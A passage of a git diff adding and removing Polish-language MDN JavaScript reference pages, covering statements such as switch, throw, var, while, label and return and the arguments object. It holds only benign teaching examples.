Własność, funkcja lub obiekt do zaimportowania. +
+

Opis

+

Parametr objectName jest nazwą obiektu, który przyjmie zaimportowane nazwy. Na przykład jeśli f i p zostały wyeksportowane i obj jest obiektem z importującego skryptu, to poniższy kod zrobi f i p dostępnymi jako własności obj wewnątrz skryptu importującego. +

+
import obj.f, obj.p;
+
+

Pierwsza składnia importuje określone własności, funkcje i obiekty z wyeksportowanego skryptu. +

Druga składnia importuje wszystkie własności, funkcje i obiekty z wyeksportowanego skryptu. +

Zazwyczaj informacja w podpisanym skrypcie jest dostępna tylko dla skryptów podpisanych przez tych samych wykonawców. Poprzez wyeksportowanie (używając instrukcji export) własności, funkcji i obiektów podpisany skrypt robi tę informację dostępną dla każdego skryptu (podpisanego lub niepodpisanego). Skrypt otrzymujący używa instrukcji import, by uzyskać dostęp do tej informacji. +

Skrypt musi załadować skrypt eksportowy do okna, ramki lub warstwy zanim będzie on mógł zaimportować i użyć którejkolwiek z wyeksportowanych własności, funkcji lub obiektów. +

+

Zobacz także

+

export +


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/import", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/import", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/import" } ) }} diff --git a/files/pl/web/javascript/reference/statements/index.html b/files/pl/web/javascript/reference/statements/index.html new file mode 100644 index 0000000000..b6f58b783c --- /dev/null +++ b/files/pl/web/javascript/reference/statements/index.html @@ -0,0 +1,149 @@ +--- +title: Polecenia +slug: Web/JavaScript/Referencje/Polecenia +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements +--- +
{{jsSidebar("Statements")}}
+ +

JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.

+ +

Statements and declarations by category

+ +

For an alphabetical listing see the sidebar on the left.

+ +

Control flow

+ +
+
{{jsxref("Statements/block", "Block")}}
+
A block statement is used to group zero or more statements. The block is delimited by a pair of curly brackets.
+
{{jsxref("Statements/break", "break")}}
+
Terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement.
+
{{jsxref("Statements/continue", "continue")}}
+
Terminates execution of the statements in the current iteration of the current or labeled loop, and continues execution of the loop with the next iteration.
+
{{jsxref("Statements/Empty", "Empty")}}
+
An empty statement is used to provide no statement, although the JavaScript syntax would expect one.
+
{{jsxref("Statements/if...else", "if...else")}}
+
Executes a statement if a specified condition is true. If the condition is false, another statement can be executed.
+
{{jsxref("Statements/switch", "switch")}}
+
Evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case.
+
{{jsxref("Statements/throw", "throw")}}
+
Throws a user-defined exception.
+
{{jsxref("Statements/try...catch", "try...catch")}}
+
Marks a block of statements to try, and specifies a response, should an exception be thrown.
+
+ +

Declarations

+ +
+
{{jsxref("Statements/var", "var")}}
+
Declares a variable, optionally initializing it to a value.
+
{{jsxref("Statements/let", "let")}}
+
Declares a block scope local variable, optionally initializing it to a value.
+
{{jsxref("Statements/const", "const")}}
+
Declares a read-only named constant.
+
+ +

Functions and classes

+ +
+
{{jsxref("Statements/function", "function")}}
+
Declares a function with the specified parameters.
+
{{jsxref("Statements/function*", "function*")}}
+
Generator Functions enable writing iterators more easily.
+
{{jsxref("Statements/async_function", "async function")}}
+
Declares an async function with the specified parameters.
+
{{jsxref("Statements/return", "return")}}
+
Specifies the value to be returned by a function.
+
{{jsxref("Statements/class", "class")}}
+
Declares a class.
+
+ +

Iterations

+ +
+
{{jsxref("Statements/do...while", "do...while")}}
+
Creates a loop that executes a specified statement until the test condition evaluates to false. The condition is evaluated after executing the statement, resulting in the specified statement executing at least once.
+
{{jsxref("Statements/for", "for")}}
+
Creates a loop that consists of three optional expressions, enclosed in parentheses and separated by semicolons, followed by a statement executed in the loop.
+
{{deprecated_inline}} {{non-standard_inline()}} {{jsxref("Statements/for_each...in", "for each...in")}}
+
Iterates a specified variable over all values of object's properties. For each distinct property, a specified statement is executed.
+
{{jsxref("Statements/for...in", "for...in")}}
+
Iterates over the enumerable properties of an object, in arbitrary order. For each distinct property, statements can be executed.
+
{{jsxref("Statements/for...of", "for...of")}}
+
Iterates over iterable objects (including {{jsxref("Global_Objects/Array","arrays","","true")}}, array-like objects, iterators and generators), invoking a custom iteration hook with statements to be executed for the value of each distinct property.
+
{{jsxref("Statements/while", "while")}}
+
Creates a loop that executes a specified statement as long as the test condition evaluates to true. The condition is evaluated before executing the statement.
+
+ +

Others

+ +
+
{{jsxref("Statements/debugger", "debugger")}}
+
Invokes any available debugging functionality. If no debugging functionality is available, this statement has no effect.
+
{{jsxref("Statements/export", "export")}}
+
Used to export functions to make them available for imports in external modules, another scripts.
+
{{jsxref("Statements/import", "import")}}
+
Used to import functions exported from an external module, another script.
+
{{jsxref("Statements/label", "label")}}
+
Provides a statement with an identifier that you can refer to using a break or continue statement.
+
+ +
+
{{deprecated_inline}} {{jsxref("Statements/with", "with")}}
+
Extends the scope chain for a statement.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES1', '#sec-12', 'Statements')}}{{Spec2('ES1')}}Initial definition
{{SpecName('ES3', '#sec-12', 'Statements')}}{{Spec2('ES3')}} 
{{SpecName('ES5.1', '#sec-12', 'Statements')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}{{Spec2('ES6')}}New: function*, let, for...of, yield, class
{{SpecName('ESDraft', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}{{Spec2('ESDraft')}} 
+ +

Browser compatibility

+ + + +

{{Compat("javascript.statements")}}

+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/statements/label/index.html b/files/pl/web/javascript/reference/statements/label/index.html new file mode 100644 index 0000000000..7ff42b3940 --- /dev/null +++ b/files/pl/web/javascript/reference/statements/label/index.html @@ -0,0 +1,51 @@ +--- +title: etykieta +slug: Web/JavaScript/Referencje/Polecenia/etykieta +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/label +--- +

+

+

Podsumowanie

+

Pozwala na oznaczenie punktu w kodzie, do którego będzie można przejść za pomocą poleceń break lub continue. +

Przykładowo, można zastosować etykietę do oznaczenia pętli, a następnie użyć poleceń break lub continue, by zaznaczyć, czy program powinien przerwać pętlę czy kontynuować jej wykonywanie. +

+ + + + + + + + + + + + +
Polecenie
Zaimplementowane w:JavaScript 1.2, NES 3.0
Wersja ECMA:ECMA-262, Edycja 3
+

Składnia

+
etykieta :
+   polecenie
+
+

Parametry

+
etykieta 
Dowolny identyfikator języka JavaScript, który nie jest słowem zarezerwowanym. +
+
polecenie 
Polecenia. Polecenie break może być użyte z dowolnym poleceniem oznaczonym etykietą, a continue można użyć z zapętlonymi poleceniami oznaczonymi etykietami. +
+

Przykłady

+

Przykład użycia etykiety z poleceniem break +znajduje się w rodziale break. Przykład użycia etykiety z poleceniem continue znajduje się w rozdziale continue. +

+

Zobacz także

+

break, +continue +


+


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/label", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/label", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/label", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/label" } ) }} diff --git a/files/pl/web/javascript/reference/statements/return/index.html b/files/pl/web/javascript/reference/statements/return/index.html new file mode 100644 index 0000000000..ed7849ed65 --- /dev/null +++ b/files/pl/web/javascript/reference/statements/return/index.html @@ -0,0 +1,48 @@ +--- +title: return +slug: Web/JavaScript/Referencje/Polecenia/return +tags: + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/return +--- +

+

+

Podsumowanie

+

Określa wartość, która ma być zwrócona przez funkcję. +

+ + + + + + + + + + + + +
Polecenie
Zaimplementowane w:JavaScript 1.0, NES 2.0
Wersja ECMA:ECMA-262
+

Składnia

+

+return wyrażenie; + +

+

Parametry

+
wyrażenie 
wyrażenie, którego wynik ma być zwrócony. +
+

Przykłady

+

Przykład: Zastosowanie return

+

Poniższa funkcja zwraca kwadrat swojego argumentu x (gdzie x jest liczbą). +

+
function kwadrat(x) {
+   return x * x;
+}
+
+


+


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/return", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/return", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/return", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/return" } ) }} diff --git a/files/pl/web/javascript/reference/statements/switch/index.html b/files/pl/web/javascript/reference/statements/switch/index.html new file mode 100644 index 0000000000..d131e042ca --- /dev/null +++ b/files/pl/web/javascript/reference/statements/switch/index.html @@ -0,0 +1,285 @@ +--- +title: switch +slug: Web/JavaScript/Referencje/Polecenia/switch +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/switch +--- +
{{jsSidebar("Statements")}}
+ +

Instrukcja switch ocenia wyrażenie, dopasowując wartość wyrażenia do klauzuli case, i wykonuje instrukcje powiązane z tym case, a także instrukcje w przypadkach następujących po dopasowanym przypadku.

+ +
{{EmbedInteractiveExample("pages/js/statement-switch.html")}}
+ + + +

Syntax

+ +
switch (expression) {
+  case value1:
+    //Statements executed when the
+    //result of expression matches value1
+    [break;]
+  case value2:
+    //Statements executed when the
+    //result of expression matches value2
+    [break;]
+  ...
+  case valueN:
+    //Statements executed when the
+    //result of expression matches valueN
+    [break;]
+  [default:
+    //Statements executed when none of
+    //the values match the value of the expression
+    [break;]]
+}
+ +
+
expression
+
Wyrażenie, którego wynik jest dopasowany do każdej klauzuli przypadku.
+
case valueN {{optional_inline}}
+
Klauzula przypadku używana do dopasowania do wyrażenia. Jeśli wyrażenie pasuje do podanej wartościN, instrukcje wewnątrz klauzuli case są wykonywane do końca instrukcji switch lub break.
+
default {{optional_inline}}
+
A default clause; if provided, this clause is executed if the value of expression doesn't match any of the case clauses.
+
+ +

Description

+ +

A switch statement first evaluates its expression. It then looks for the first case clause whose expression evaluates to the same value as the result of the input expression (using the strict comparison, ===) and transfers control to that clause, executing the associated statements. (If multiple cases match the provided value, the first case that matches is selected, even if the cases are not equal to each other.)

+ +

If no matching case clause is found, the program looks for the optional default clause, and if found, transfers control to that clause, executing the associated statements. If no default clause is found, the program continues execution at the statement following the end of switch. By convention, the default clause is the last clause, but it does not need to be so.

+ +

The optional break statement associated with each case label ensures that the program breaks out of switch once the matched statement is executed and continues execution at the statement following switch. If break is omitted, the program continues execution at the next statement in the switch statement.

+ +

Examples

+ +

Using switch

+ +

In the following example, if expr evaluates to "Bananas", the program matches the value with case "Bananas" and executes the associated statement. When break is encountered, the program breaks out of switch and executes the statement following switch. If break were omitted, the statement for case "Cherries" would also be executed.

+ +
switch (expr) {
+  case 'Oranges':
+    console.log('Oranges are $0.59 a pound.');
+    break;
+  case 'Apples':
+    console.log('Apples are $0.32 a pound.');
+    break;
+  case 'Bananas':
+    console.log('Bananas are $0.48 a pound.');
+    break;
+  case 'Cherries':
+    console.log('Cherries are $3.00 a pound.');
+    break;
+  case 'Mangoes':
+  case 'Papayas':
+    console.log('Mangoes and papayas are $2.79 a pound.');
+    break;
+  default:
+    console.log('Sorry, we are out of ' + expr + '.');
+}
+
+console.log("Is there anything else you'd like?");
+
+ +

What happens if I forgot a break?

+ +

If you forget a break then the script will run from the case where the criterion is met and will run the case after that regardless if criterion was met. See example here:

+ +
var foo = 0;
+switch (foo) {
+  case -1:
+    console.log('negative 1');
+    break;
+  case 0: // foo is 0 so criteria met here so this block will run
+    console.log(0);
+    // NOTE: the forgotten break would have been here
+  case 1: // no break statement in 'case 0:' so this case will run as well
+    console.log(1);
+    break; // it encounters this break so will not continue into 'case 2:'
+  case 2:
+    console.log(2);
+    break;
+  default:
+    console.log('default');
+}
+ +

Can I put a default between cases?

+ +

Yes, you can! JavaScript will drop you back to the default if it can't find a match:

+ +
var foo = 5;
+switch (foo) {
+  case 2:
+    console.log(2);
+    break; // it encounters this break so will not continue into 'default:'
+  default:
+    console.log('default')
+    // fall-through
+  case 1:
+    console.log('1');
+}
+
+ +

It also works when you put default before all other cases.

+ +

Rewriting multiple If statements with Switch

+ +

Shown below as a possibility.

+ +
var a = 100;
+var b = NaN;
+switch (true) {
+  case isNaN(a) || isNaN(b):
+    console.log('NaNNaN');
+    break;
+  case a === b:
+    console.log(0);
+    break;
+  case a < b:
+    console.log(-1);
+    break;
+  default:
+    console.log(1);
+}
+
+ +

Methods for multi-criteria case

+ +

Source for this technique is here:

+ +

Switch statement multiple cases in JavaScript (Stack Overflow)

+ +

Multi-case - single operation

+ +

This method takes advantage of the fact that if there is no break below a case statement it will continue to execute the next case statement regardless if the case meets the criteria. See the section titled "What happens if I forgot a break?"

+ +

This is an example of a single operation sequential switch statement, where four different values perform exactly the same.

+ +
var Animal = 'Giraffe';
+switch (Animal) {
+  case 'Cow':
+  case 'Giraffe':
+  case 'Dog':
+  case 'Pig':
+    console.log('This animal will go on Noah\'s Ark.');
+    break;
+  case 'Dinosaur':
+  default:
+    console.log('This animal will not.');
+}
+ +

Multi-case - chained operations

+ +

This is an example of a multiple-operation sequential switch statement, where, depending on the provided integer, you can receive different output. This shows you that it will traverse in the order that you put the case statements, and it does not have to be numerically sequential. In JavaScript, you can even mix in definitions of strings into these case statements as well.

+ +
var foo = 1;
+var output = 'Output: ';
+switch (foo) {
+  case 10:
+    output += 'So ';
+  case 1:
+    output += 'What ';
+    output += 'Is ';
+  case 2:
+    output += 'Your ';
+  case 3:
+    output += 'Name';
+  case 4:
+    output += '?';
+    console.log(output);
+    break;
+  case 5:
+    output += '!';
+    console.log(output);
+    break;
+  default:
+    console.log('Please pick a number from 0 to 6!');
+}
+ +

The output from this example:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueLog text
foo is NaN or not 1, 2, 3, 4, 5 or 10Please pick a number from 0 to 6!
10Output: So What Is Your Name?
1Output: What Is Your Name?
2Output: Your Name?
3Output: Name?
4Output: ?
5Output: !
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition. Implemented in JavaScript 1.2
{{SpecName('ES5.1', '#sec-12.11', 'switch statement')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}{{Spec2('ESDraft')}}
+ +

Browser compatibility

+ + + +

{{Compat("javascript.statements.switch")}}

+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/statements/throw/index.html b/files/pl/web/javascript/reference/statements/throw/index.html new file mode 100644 index 0000000000..a8d57064f5 --- /dev/null +++ b/files/pl/web/javascript/reference/statements/throw/index.html @@ -0,0 +1,197 @@ +--- +title: throw +slug: Web/JavaScript/Referencje/Polecenia/throw +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/throw +--- +
{{jsSidebar("Statements")}}
+ +

The throw statement throws a user-defined exception. Execution of the current function will stop (the statements after throw won't be executed), and control will be passed to the first catch block in the call stack. If no catch block exists among caller functions, the program will terminate.

+ +
{{EmbedInteractiveExample("pages/js/statement-throw.html")}}
+ + +

Syntax

+ +
throw expression; 
+ +
+
expression
+
The expression to throw.
+
+ +

Description

+ +

Use the throw statement to throw an exception. When you throw an exception, expression specifies the value of the exception. Each of the following throws an exception:

+ +
throw 'Error2'; // generates an exception with a string value
+throw 42;       // generates an exception with the value 42
+throw true;     // generates an exception with the value true
+ +

Also note that the throw statement is affected by automatic semicolon insertion (ASI) as no line terminator between the throw keyword and the expression is allowed.

+ +

Examples

+ +

Throw an object

+ +

You can specify an object when you throw an exception. You can then reference the object's properties in the catch block. The following example creates an object of type UserException and uses it in a throw statement.

+ +
function UserException(message) {
+   this.message = message;
+   this.name = 'UserException';
+}
+function getMonthName(mo) {
+   mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec)
+   var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul',
+      'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
+   if (months[mo] !== undefined) {
+      return months[mo];
+   } else {
+      throw new UserException('InvalidMonthNo');
+   }
+}
+
+try {
+   // statements to try
+   var myMonth = 15; // 15 is out of bound to raise the exception
+   var monthName = getMonthName(myMonth);
+} catch (e) {
+   monthName = 'unknown';
+   console.log(e.message, e.name); // pass exception object to err handler
+}
+
+ +

Another example of throwing an object

+ +

The following example tests an input string for a U.S. zip code. If the zip code uses an invalid format, the throw statement throws an exception by creating an object of type ZipCodeFormatException.

+ +
/*
+ * Creates a ZipCode object.
+ *
+ * Accepted formats for a zip code are:
+ *    12345
+ *    12345-6789
+ *    123456789
+ *    12345 6789
+ *
+ * If the argument passed to the ZipCode constructor does not
+ * conform to one of these patterns, an exception is thrown.
+ */
+
+function ZipCode(zip) {
+   zip = new String(zip);
+   pattern = /[0-9]{5}([- ]?[0-9]{4})?/;
+   if (pattern.test(zip)) {
+      // zip code value will be the first match in the string
+      this.value = zip.match(pattern)[0];
+      this.valueOf = function() {
+         return this.value
+      };
+      this.toString = function() {
+         return String(this.value)
+      };
+   } else {
+      throw new ZipCodeFormatException(zip);
+   }
+}
+
+function ZipCodeFormatException(value) {
+   this.value = value;
+   this.message = 'does not conform to the expected format for a zip code';
+   this.toString = function() {
+      return this.value + this.message;
+   };
+}
+
+/*
+ * This could be in a script that validates address data
+ * for US addresses.
+ */
+
+const ZIPCODE_INVALID = -1;
+const ZIPCODE_UNKNOWN_ERROR = -2;
+
+function verifyZipCode(z) {
+   try {
+      z = new ZipCode(z);
+   } catch (e) {
+      if (e instanceof ZipCodeFormatException) {
+         return ZIPCODE_INVALID;
+      } else {
+         return ZIPCODE_UNKNOWN_ERROR;
+      }
+   }
+   return z;
+}
+
+a = verifyZipCode(95060);         // returns 95060
+b = verifyZipCode(9560);          // returns -1
+c = verifyZipCode('a');           // returns -1
+d = verifyZipCode('95060');       // returns 95060
+e = verifyZipCode('95060 1234');  // returns 95060 1234
+
+ +

Rethrow an exception

+ +

You can use throw to rethrow an exception after you catch it. The following example catches an exception with a numeric value and rethrows it if the value is over 50. The rethrown exception propagates up to the enclosing function or to the top level so that the user sees it.

+ +
try {
+   throw n; // throws an exception with a numeric value
+} catch (e) {
+   if (e <= 50) {
+      // statements to handle exceptions 1-50
+   } else {
+      // cannot handle this exception, so rethrow
+      throw e;
+   }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition. Implemented in JavaScript 1.4
{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}{{Spec2('ESDraft')}}
+ +

Browser compatibility

+ + + +

{{Compat("javascript.statements.throw")}}

+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/statements/var/index.html b/files/pl/web/javascript/reference/statements/var/index.html new file mode 100644 index 0000000000..aff42bcdac --- /dev/null +++ b/files/pl/web/javascript/reference/statements/var/index.html @@ -0,0 +1,61 @@ +--- +title: var +slug: Web/JavaScript/Referencje/Polecenia/var +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/var +--- +

+

+

Podsumowanie

+

Deklaruje zmienną oraz opcjonalnie przypisuje jej wartość początkową. +

+ + + + + + + + + + + + +
Instrukcja
Zaimplementowana w:JavaScript 1.0, NES 2.0
Wersja ECMA:ECMA-262
+

Składnia

+

+var varname1 {{ mediawiki.external('= value1') }}, varname2 {{ mediawiki.external('= value2') }}, ..., varnameN {{ mediawiki.external('= valueN') }}; + +

+

Parametry

+
varnameN 
Nazwa zmiennej. Może być dowolnym, dozwolonym identyfikatorem. +
+
valueN 
Zainicjalizowanie wartości zmiennej. Może być dowolnym, dozwolonym wyrażeniem. +
+

Opis

+

Zasięgiem zmiennej jest aktualna funkcja lub, jeśli zmienna została zadeklarowana poza funkcją, aktualna aplikacja. +

Użycie var poza funkcją jest opcjonalne; przypisanie wartości do niezadeklarowanej zmiennej domyślnie deklaruje ją jako zmienna globalną. Zalecane jest jednak, aby zawsze używać var, ponadto jest to konieczne wewnątrz funkcji w następujących przypadkach: +

+ +

Niepowodzenie zadeklarowania zmiennej w tych przypadkach będzie najprawdopodobniej prowadzić do niespodziewanych wyników. +

+

Przykłady

+

Przykład: Zastosowanie var

+

Poniższy przykład deklaruje dwie zmienne, num_hits i cust_no i przypisuje im obu początkową wartość 0. +

+
var num_hits = 0, cust_no = 0;
+
+

Zobacz także

+

const +


+


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/var", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/var", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/var", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/var" } ) }} diff --git a/files/pl/web/javascript/reference/statements/while/index.html b/files/pl/web/javascript/reference/statements/while/index.html new file mode 100644 index 0000000000..103762fd01 --- /dev/null +++ b/files/pl/web/javascript/reference/statements/while/index.html @@ -0,0 +1,61 @@ +--- +title: while +slug: Web/JavaScript/Referencje/Polecenia/while +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/while +--- +

+

+

Podsumowanie

+

Tworzy pętlę, która wylicza wyrażenie i, jeśli jest ono prawdą, wykonuje blok poleceń. Wykonywanie pętli powtarza się, póki warunek jest prawdziwy. +

+ + + + + + + + + + + + +
Polecenie
Zaimplementowane w:JavaScript 1.0, NES 2.0
Wersja ECMA:ECMA-262
+

Składnia

+
while (warunek) {
+  polecenia
+}
+
+

Parametery

+
warunek 
Wyliczany przed każdym wejściem w blok poleceń. Jeśli warunek jest prawdą, polecenia w bloku są wykonywane. Jeśli nie jest, sterowanie przepływa do pierwszego polecenia za pętlą. +
+
polecenia 
Blok poleceń wykonywanych póki warunek jest spełniony. Dobrą praktyką jest stosowanie w tym miejscu wcięć (indentacji), zwiększających czytelność kodu. +
+

Przykłady

+

Poniższa pętla while wykonuje się dopóki n jest mniejsze niż trzy. +

+
n = 0;
+x = 0;
+while(n < 3) {
+  n ++;
+  x += n;
+}
+
+

Po każdej iteracji pętla zwiększa n i dodaje je do x. Dlatego też x i n przyjmują następujące wartości: +

+ +

Po ukończeniu trzeciego przejścia warunek n < 3 nie jest już spełniony, zatem wykonywanie pętli kończy się. +


+


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/while", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/while", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/while", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/while" } ) }} diff --git a/files/pl/web/javascript/referencje/funkcje/arguments/callee/index.html b/files/pl/web/javascript/referencje/funkcje/arguments/callee/index.html deleted file mode 100644 index 50b76e1f63..0000000000 --- a/files/pl/web/javascript/referencje/funkcje/arguments/callee/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: callee -slug: Web/JavaScript/Referencje/Funkcje/arguments/callee -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Functions/arguments/callee ---- -

-

-

Podsumowanie

-

Określa aktualnie wykonywaną funkcję. -

- - - - - - - - - - - - -
Własność obiektów arguments i Function.arguments (Wycofywany)
Zaimplementowano w:JavaScript 1.2 -

JavaScript 1.4: callee wycofywany jako własność Function.arguments, zachowany jako własność zmiennej lokalnej arguments funkcji. -

-
Wersja ECMA:ECMA-262
-

Opis

-

callee jest własnością zmiennej lokalnej arguments dostępnej wewnątrz wszystkich obiektów funkcji; callee jako własność Function.arguments nie jest już używana (również sam obiekt Function.arguments jest wycofywany). -

arguments.callee pozwala anonimowym funkcjom odwoływać się do siebie samych, co jest potrzebne w przypadku rekursywnych anonimowych funkcji. -

Słowo kluczowe this nie odwołuje się do aktualnie wykonywanej funkcji. Użyj własności callee, aby odwołać się do funkcji z poziomu jej ciała. -

-

Przykłady

-

Przykład: Zastosowanie arguments.callee w anonimowych funkcjach rekursywnych

-

Funkcja rekursywna musi mieć możliwość odwołania się do siebie samej. Zazwyczaj funkcja odwołuje się do samej siebie wykorzystując swoją nazwę. Jednakże anonimowa funkcja nie posiada nazwy i jeśli w łańcuchu zasięgu nie istnieje zmienna odwołująca się do tej funkcji, tj. funkcja nie jest przypisana do żadnej zmiennej, to funkcja ta nie ma możliwości odwołania się do siebie samej (anonimowe funkcje można tworzyć przy użyciu wyrażenia function lub konstruktora Function). W tym miejscu wkracza arguments.callee. -

Poniższy przykład definiuje funkcję, która z kolei definiuje i zwraca funkcję obliczającą silnię. -

-
function makeFactorialFunc() {
-   alert('tworzenie funkcji obliczającej silnię!');
-   return function(x) {
-      if (x <= 1)
-         return 1;
-      return x * arguments.callee(x - 1);
-   };
-}
-
-var result = makeFactorialFunc()(5); // zwraca 120 (5 * 4 * 3 * 2 * 1)
-
-

this example isn't very practical, but then again, there are few practical cases where arguments.callee is necessary, and most of the those cases involve closures -


-


-


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions/arguments/callee", "es": "es/Referencia_de_JavaScript_1.5/Funciones/arguments/callee", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions/arguments/callee", "ja": "ja/Core_JavaScript_1.5_Reference/Functions/arguments/callee" } ) }} diff --git a/files/pl/web/javascript/referencje/funkcje/arguments/index.html b/files/pl/web/javascript/referencje/funkcje/arguments/index.html deleted file mode 100644 index 8a48b5b323..0000000000 --- a/files/pl/web/javascript/referencje/funkcje/arguments/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: arguments -slug: Web/JavaScript/Referencje/Funkcje/arguments -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Functions/arguments ---- -

-

-

Podsumowanie

-

Tablicopodobny obiekt odpowiadający argumentom przekazanym do funkcji. -

- - - - - - - - - - - - -
-Zmienna lokalna we wszystkich funkcjach oraz wycofywana własność obiektu Function
Zaimplementowana w:JavaScript 1.1, NES 2.0 -

JavaScript 1.2: dodano własność arguments.callee. -

JavaScript 1.3: wycofywana własność arguments.caller; usunięto obsługę nazw argumentów oraz zmiennych lokalnych jako własności obiektu arguments. -

JavaScript 1.4: wycofywane arguments, arguments.callee oraz arguments.length jako własności Function; zachowanie arguments jako lokalnej zmiennej funkcji oraz arguments.callee oraz arguments.length jako własności tej zmiennej. -

-
Wersja ECMA:ECMA-262
-

Opis

-

Obiekt arguments jest zmienną lokalną dostępną wewnątrz każdej funkcji; arguments jako własność Function nie może być już używana. -

Do argumentów wewnątrz funkcji możesz odwołać się używając obiektu arguments. Obiekt ten zawiera pozycję dla każdego argumentu przekazanego funkcji, przy czym indeks pierwszego z nich ma wartość 0. Na przykład, jeśli do funkcji przekazane są trzy argumenty, można się do nich odwołać w następujący sposób: -

-
arguments[0]
-arguments[1]
-arguments[2]
-
-

Argumentom mogą być również przypisywane wartości: -

-
arguments[1] = 'nowa wartosc';
-
-
Uwaga: silnik JavaScript SpiderMonkey posiada bug, w którym nie można do arguments{{ mediawiki.external('n') }} przypisać wartości, jeśli n jest większe niż liczba formalnych lub rzeczywistych parametrów. -Błąd ten został usunięty w silniku JavaScript 1.6.
-

Obiekt arguments nie jest tablicą. Jest do niej podobny, lecz nie posiada żadnej z własności tablicy poza length. Przykładowo nie posiada on metody pop. Może być on jednak skonwertowany do prawdziwej tablicy: -

-
 var args = Array.prototype.slice.call(arguments);
-
-

Obiekt arguments dostępny jest wyłącznie wewnątrz ciała funkcji. Próba dostępu do obiektu arguments spoza części deklaracyjnej funkcji zakończy się błędem. -

Możesz użyć obiektu arguments, jeśli funkcja wywołana jest z większą liczbą argumentów niż zostało to zadeklarowane. Jest to użyteczne dla funkcji, które wywoływać można ze zmienną liczbą argumentów. -Aby określić liczbę argumentów przekazywanych do funkcji można użyć własności -arguments.length, a następnie skorzystać z każdego z argumentów używając obiektu arguments (aby określić liczbę argumentów zadeklarowanych podczas definiowania funkcji, skorzystać można z własności Function.length). -

-

Własności

-
arguments.callee
Określa ciało funkcji aktualnie wykonywanej funkcji. -
-
arguments.caller {{ Deprecated_inline() }}
Określa nazwę funkcji, która wywołała aktualnie wykonywaną funkcję. -
-
arguments.length
Określa liczbę argumentów przekazywanych do funkcji. -
-

Zgodność wsteczna

-

JavaScript 1.3 i wcześniejsze wersje

-

